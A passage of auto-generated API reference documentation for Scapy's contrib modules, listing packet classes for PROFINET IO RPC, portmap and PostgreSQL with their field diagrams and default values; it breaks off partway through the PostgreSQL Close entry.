class scapy.contrib.pnio_rpc.NDRData(_pkt, /, *, args_length=None, max_count=None, offset=0, actual_count=None, blocks=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pnio_rpc.py#L1469-L1489]

	Bases: Packet

Base NDRData to centralize some fields. It can’t be instantiated


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          ARGS LENGTH                          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           MAX COUNT                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             OFFSET                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          ACTUAL COUNT                         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             BLOCKS            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                           Fig. NDRData                           


NDRData fields






	args_length

	EField

	None



	max_count

	EField

	None



	offset

	EField

	0



	actual_count

	EField

	None



	blocks

	PacketListField

	[]















	
class scapy.contrib.pnio_rpc.PDPortDataAdjust(_pkt, /, *, block_type=514, block_length=None, block_version_high=1, block_version_low=0, padding=b'', slotNumber=0, subslotNumber=0, blocks=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pnio_rpc.py#L1034-L1044]

	Bases: Block


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           BLOCK TYPE          |          BLOCK LENGTH         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|BLOCK VERSION H|BLOCK VERSION L|            PADDING            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           SLOTNUMBER          |         SUBSLOTNUMBER         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             BLOCKS            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. PDPortDataAdjust                       


PDPortDataAdjust fields






	block_type

	ShortEnumField

	514



	block_length

	ShortField

	None



	block_version_high

	ByteField

	1



	block_version_low

	ByteField

	0



	padding

	StrFixedLenField

	b''



	slotNumber

	XShortField

	0



	subslotNumber

	XShortField

	0



	blocks

	PacketListField

	[]















	
class scapy.contrib.pnio_rpc.PE_AlarmItem(_pkt, /, *, UserStructureIdentifier=0, block_type=None, block_length=None, block_version_high=1, block_version_low=0, PE_OperationalMode=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pnio_rpc.py#L1256-L1261]

	Bases: AlarmItem


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    USERSTRUCTUREIDENTIFIER    |           BLOCK TYPE          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          BLOCK LENGTH         |BLOCK VERSION H|BLOCK VERSION L|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|PE OPERATIONALM|
+-+-+-+-+-+-+-+-+

                        Fig. PE_AlarmItem                         


PE_AlarmItem fields






	UserStructureIdentifier

	XShortField

	0



	block_type

	ShortEnumField

	None



	block_length

	ShortField

	None



	block_version_high

	ByteField

	1



	block_version_low

	ByteField

	0



	PE_OperationalMode

	ByteEnumField

	0















	
class scapy.contrib.pnio_rpc.PNIORealTimeAcyclicPDUHeader(_pkt, /, *, AlarmDstEndpoint=0, AlarmSrcEndpoint=0, PDUTypeType=0, PDUTypeVersion=0, AddFlags=0, SendSeqNum=0, AckSeqNum=0, VarPartLen=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pnio_rpc.py#L1351-L1365]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|        ALARMDSTENDPOINT       |        ALARMSRCENDPOINT       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|PDUTYPE|PDUTYPE|    ADDFLAGS   |           SENDSEQNUM          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           ACKSEQNUM           |           VARPARTLEN          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                Fig. PNIORealTimeAcyclicPDUHeader                 


PNIORealTimeAcyclicPDUHeader fields






	AlarmDstEndpoint

	ShortField

	0



	AlarmSrcEndpoint

	ShortField

	0



	PDUTypeType

	BitEnumField

	0



	PDUTypeVersion

	BitEnumField

	0



	AddFlags

	BitField  (8 bits)

	0



	SendSeqNum

	XShortField

	0



	AckSeqNum

	XShortField

	0



	VarPartLen

	XShortField

	0















	
class scapy.contrib.pnio_rpc.PNIOServiceReqPDU(_pkt, /, *, args_max=None, args_length=None, max_count=None, offset=0, actual_count=None, blocks=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pnio_rpc.py#L1492-L1518]

	Bases: Packet

PNIO PDU for RPC Request


	
aliastypes

	




	
classmethod can_handle(pkt, rpc)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pnio_rpc.py#L1511-L1518]

	heuristic guess_payload_class






	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            ARGS MAX                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          ARGS LENGTH                          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           MAX COUNT                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             OFFSET                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          ACTUAL COUNT                         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             BLOCKS            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. PNIOServiceReqPDU                      


PNIOServiceReqPDU fields






	args_max

	EField

	None



	args_length

	EField

	None



	max_count

	EField

	None



	offset

	EField

	0



	actual_count

	EField

	None



	blocks

	PacketListField

	[]















	
class scapy.contrib.pnio_rpc.PNIOServiceResPDU(_pkt, /, *, status=0, args_length=None, max_count=None, offset=0, actual_count=None, blocks=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pnio_rpc.py#L1524-L1550]

	Bases: Packet

PNIO PDU for RPC Response


	
aliastypes

	




	
classmethod can_handle(pkt, rpc)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pnio_rpc.py#L1543-L1550]

	heuristic guess_payload_class






	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             STATUS                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          ARGS LENGTH                          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           MAX COUNT                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             OFFSET                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          ACTUAL COUNT                         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             BLOCKS            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. PNIOServiceResPDU                      


PNIOServiceResPDU fields






	status

	EField

	0



	args_length

	EField

	None



	max_count

	EField

	None



	offset

	EField

	0



	actual_count

	EField

	None



	blocks

	PacketListField

	[]















	
class scapy.contrib.pnio_rpc.PRAL_AlarmItem(_pkt, /, *, UserStructureIdentifier=0, ChannelNumber=0, PRAL_ChannelProperties=0, PRAL_Reason=0, PRAL_ExtReason=0, PRAL_ReasonAddValue=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pnio_rpc.py#L1271-L1280]

	Bases: AlarmItem


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    USERSTRUCTUREIDENTIFIER    |         CHANNELNUMBER         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     PRAL CHANNELPROPERTIES    |          PRAL REASON          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         PRAL EXTREASON        |      PRAL REASONADDVALUE      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. PRAL_AlarmItem                        


PRAL_AlarmItem fields






	UserStructureIdentifier

	XShortField

	0



	ChannelNumber

	XShortField

	0



	PRAL_ChannelProperties

	XShortField

	0



	PRAL_Reason

	XShortField

	0



	PRAL_ExtReason

	XShortField

	0



	PRAL_ReasonAddValue

	StrLenField

	b''















	
class scapy.contrib.pnio_rpc.PadFieldWithLen(fld: Field[Any, Any], align: int, padwith: bytes | None = None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pnio_rpc.py#L602-L608]

	Bases: PadField

PadField which handles the i2len function to include padding


	
fld

	




	
i2len(pkt, val)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pnio_rpc.py#L605-L608]

	get the length of the field, including the padding length










	
class scapy.contrib.pnio_rpc.RS_AlarmItem(_pkt, /, *, UserStructureIdentifier=0, RS_AlarmInfo=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pnio_rpc.py#L1264-L1268]

	Bases: AlarmItem


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    USERSTRUCTUREIDENTIFIER    |          RS ALARMINFO         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. RS_AlarmItem                         


RS_AlarmItem fields






	UserStructureIdentifier

	XShortField

	0



	RS_AlarmInfo

	XShortField

	0















	
class scapy.contrib.pnio_rpc.UploadRetrievalItem(_pkt, /, *, UserStructureIdentifier=0, block_type=None, block_length=None, block_version_high=1, block_version_low=0, padding=b'', URRecordIndex=0, URRecordLength=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pnio_rpc.py#L1222-L1229]

	Bases: AlarmItem


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    USERSTRUCTUREIDENTIFIER    |           BLOCK TYPE          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          BLOCK LENGTH         |BLOCK VERSION H|BLOCK VERSION L|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            PADDING            |         URRECORDINDEX         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |         URRECORDLENGTH        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. UploadRetrievalItem                     


UploadRetrievalItem fields






	UserStructureIdentifier

	XShortField

	0



	block_type

	ShortEnumField

	None



	block_length

	ShortField

	None



	block_version_high

	ByteField

	1



	block_version_low

	ByteField

	0



	padding

	StrFixedLenField

	b''



	URRecordIndex

	XIntField

	0



	URRecordLength

	XIntField

	0















	
scapy.contrib.pnio_rpc.dce_rpc_endianess(pkt)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pnio_rpc.py#L1452-L1466]

	determine the symbol for the endianness of a the DCE/RPC






	
class scapy.contrib.pnio_rpc.iParameterItem(_pkt, /, *, UserStructureIdentifier=0, block_type=None, block_length=None, block_version_high=1, block_version_low=0, padding=b'', iPar_Req_Header=0, Max_Segm_Size=0, Transfer_Index=0, Total_iPar_Size=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pnio_rpc.py#L1232-L1241]

	Bases: AlarmItem


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    USERSTRUCTUREIDENTIFIER    |           BLOCK TYPE          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          BLOCK LENGTH         |BLOCK VERSION H|BLOCK VERSION L|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            PADDING            |        IPAR REQ HEADER        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |         MAX SEGM SIZE         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |         TRANSFER INDEX        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |        TOTAL IPAR SIZE        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. iParameterItem                        


iParameterItem fields






	UserStructureIdentifier

	XShortField

	0



	block_type

	ShortEnumField

	None



	block_length

	ShortField

	None



	block_version_high

	ByteField

	1



	block_version_low

	ByteField

	0



	padding

	StrFixedLenField

	b''



	iPar_Req_Header

	XIntField

	0



	Max_Segm_Size

	XIntField

	0



	Transfer_Index

	XIntField

	0



	Total_iPar_Size

	XIntField

	0

















            

          

      

      

    

  

    
      
          
            
  
scapy.contrib.portmap


	
class scapy.contrib.portmap.DUMP_Call(_pkt, /)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/portmap.py#L67-L69]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	








	
class scapy.contrib.portmap.DUMP_Reply(_pkt, /, *, value_follows=0, mappings=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/portmap.py#L72-L81]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         VALUE FOLLOWS                         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            MAPPINGS           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. DUMP_Reply                          


DUMP_Reply fields






	value_follows

	IntField

	0



	mappings

	PacketListField

	[]















	
class scapy.contrib.portmap.GETPORT_Call(_pkt, /, *, prog=0, vers=0, prot=0, port=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/portmap.py#L14-L21]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              PROG                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              VERS                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              PROT                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              PORT                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. GETPORT_Call                         


GETPORT_Call fields






	prog

	IntField

	0



	vers

	IntField

	0



	prot

	IntField

	0



	port

	IntField

	0















	
class scapy.contrib.portmap.GETPORT_Reply(_pkt, /, *, port=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/portmap.py#L24-L28]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              PORT                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. GETPORT_Reply                        


GETPORT_Reply fields






	port

	IntField

	0















	
class scapy.contrib.portmap.Map_Entry(_pkt, /, *, prog=0, vers=0, prot=0, port=0, value_follows=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/portmap.py#L53-L64]

	Bases: Packet


	
aliastypes

	




	
extract_padding(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/portmap.py#L63-L64]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              PROG                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              VERS                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              PROT                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              PORT                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         VALUE FOLLOWS                         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. Map_Entry                          


Map_Entry fields






	prog

	IntField

	0



	vers

	IntField

	0



	prot

	IntField

	0



	port

	IntField

	0



	value_follows

	IntField

	0















	
class scapy.contrib.portmap.NULL_Call(_pkt, /)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/portmap.py#L38-L40]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	








	
class scapy.contrib.portmap.NULL_Reply(_pkt, /)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/portmap.py#L43-L45]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	










            

          

      

      

    

  

    
      
          
            
  
scapy.contrib.postgres


	
class scapy.contrib.postgres.Authentication(_pkt, /, *, tag=82, len=None, method=0, optional=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/postgres.py#L193-L202]

	Bases: _ZeroPadding


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TAG      |                      LEN                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     METHOD                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |            OPTIONAL           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. Authentication                        


Authentication fields






	tag

	ByteTagField

	82



	len

	FieldLenField

	None



	method

	IntEnumField

	0



	optional

	StrLenField

	None















	
class scapy.contrib.postgres.BackendKeyData(_pkt, /, *, tag=75, len=None, pid=0, key=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/postgres.py#L249-L256]

	Bases: _ZeroPadding


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TAG      |                      LEN                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      PID                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      KEY                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                       Fig. BackendKeyData                        


BackendKeyData fields






	tag

	ByteTagField

	75



	len

	FieldLenField

	None



	pid

	SignedIntField

	0



	key

	SignedIntField

	0















	
class scapy.contrib.postgres.Bind(_pkt, /, *, tag=63, len=None, destination=b'', statement=b'', codes_count=0, codes=[], values_count=0, values=[], results_count=0, results=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/postgres.py#L388-L409]

	Bases: _ZeroPadding


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TAG      |                      LEN                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |          DESTINATION          |   STATEMENT   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |          CODES COUNT          |     CODES     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |          VALUES COUNT         |     VALUES    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |         RESULTS COUNT         |    RESULTS    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                            Fig. Bind                             


Bind fields






	tag

	ByteTagField

	63



	len

	FieldLenField

	None



	destination

	StrNullField

	b''



	statement

	StrNullField

	b''



	codes_count

	FieldLenField

	0



	codes

	FieldListField

	[]



	values_count

	FieldLenField

	0



	values

	PacketListField

	[]



	results_count

	FieldLenField

	0



	results

	FieldListField

	[]















	
class scapy.contrib.postgres.BindComplete(_pkt, /, *, tag=50, len=4)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/postgres.py#L412-L417]

	Bases: _ZeroPadding


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TAG      |                      LEN                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                        Fig. BindComplete                         


BindComplete fields






	tag

	ByteTagField

	50



	len

	SignedIntField

	4















	
class scapy.contrib.postgres.ByteTagField(default)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/postgres.py#L152-L159]

	Bases: ByteField


	
randval()[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/postgres.py#L158-L159]

	








	
class scapy.contrib.postgres.CancelRequest(_pkt, /, *, len=16, request_code=80877102, process_id=0, secret=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/postgres.py#L662-L669]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              LEN                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          REQUEST CODE                         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           PROCESS ID                          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             SECRET                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. CancelRequest                        


CancelRequest fields






	len

	SignedIntField

	16



	request_code

	SignedIntField

	80877102



	process_id

	SignedIntField

	0



	secret

	SignedIntField

	0















	
class scapy.contrib.postgres.Close(_pkt, /, *, tag=67, len=None, close_type=b'S', statement=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/postgres.py#L423-L435]

	Bases: _ZeroPadding


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
